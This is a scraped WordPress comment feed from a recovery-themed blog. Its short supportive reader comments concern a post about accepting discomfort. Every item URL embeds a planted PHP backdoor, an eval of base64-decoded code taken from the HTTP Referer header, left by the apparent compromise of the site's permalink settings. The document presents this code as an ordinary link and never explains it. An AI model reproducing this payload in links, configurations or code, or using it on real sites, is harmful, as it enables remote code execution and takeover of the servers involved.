http://www.thesecondroad.org/bouncing_off_the_bottom/2008/06/30/the-liberation-of-discomfort/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Twelve Steps to a Real Life and a Pretty Good Time. Fri, 19 Mar 2010 02:42:57 +0000 http://wordpress.org/?v=2.5.1 http://www.thesecondroad.org/bouncing_off_the_bottom/2008/06/30/the-liberation-of-discomfort/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4032 Disturbed Stranger Fri, 18 Jul 2008 03:23:07 +0000 http://www.thesecondroad.org/bouncing_off_the_bottom/?p=88#comment-4032 You are doing a great job! Keep it up! we're all here for support! and remember you are never alone... You are doing a great job! Keep it up!
we’re all here for support!
and remember you are never alone…

]]> http://www.thesecondroad.org/bouncing_off_the_bottom/2008/06/30/the-liberation-of-discomfort/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3998 Shadow Fri, 04 Jul 2008 08:13:08 +0000 http://www.thesecondroad.org/bouncing_off_the_bottom/?p=88#comment-3998 happy 4th of july! happy 4th of july!

]]> http://www.thesecondroad.org/bouncing_off_the_bottom/2008/06/30/the-liberation-of-discomfort/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3997 Lydia Fri, 04 Jul 2008 07:35:54 +0000 http://www.thesecondroad.org/bouncing_off_the_bottom/?p=88#comment-3997 Beautiful, just beautiful. Beautiful, just beautiful.

]]> http://www.thesecondroad.org/bouncing_off_the_bottom/2008/06/30/the-liberation-of-discomfort/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3996 pat Tue, 01 Jul 2008 18:38:44 +0000 http://www.thesecondroad.org/bouncing_off_the_bottom/?p=88#comment-3996 Certainly food for thought. I guess what we think is what we assume others want and that is not always the case. Certainly food for thought. I guess what we think is what we assume others want and that is not always the case.

]]> http://www.thesecondroad.org/bouncing_off_the_bottom/2008/06/30/the-liberation-of-discomfort/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3994 Shadow Mon, 30 Jun 2008 16:33:05 +0000 http://www.thesecondroad.org/bouncing_off_the_bottom/?p=88#comment-3994 oh i hear you. accepting others discomfort. and making it ours... and all there was, was good intentions from our side. yet as you say, sometimes things work just the way they are. no interferring or intervention necessary. even well intentioned. and so one learns something new. oh i hear you. accepting others discomfort. and making it ours… and all there was, was good intentions from our side. yet as you say, sometimes things work just the way they are. no interferring or intervention necessary. even well intentioned. and so one learns something new.

]]> http://www.thesecondroad.org/bouncing_off_the_bottom/2008/06/30/the-liberation-of-discomfort/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3993 Syd Mon, 30 Jun 2008 15:53:02 +0000 http://www.thesecondroad.org/bouncing_off_the_bottom/?p=88#comment-3993 I understand what you are saying Martha. I guess that I would have done the same thing--and perhaps because I was thinking that it would help to give him some dignity to have a paying job. Strange how I still would probably do that because I don't like to feel that someone is doing something for me unless they are compensated. But I think that Bud had his compensation in just being there and feeling useful. You made me really think about my own motives and discomfort. Thanks. I understand what you are saying Martha. I guess that I would have done the same thing–and perhaps because I was thinking that it would help to give him some dignity to have a paying job. Strange how I still would probably do that because I don’t like to feel that someone is doing something for me unless they are compensated. But I think that Bud had his compensation in just being there and feeling useful. You made me really think about my own motives and discomfort. Thanks.

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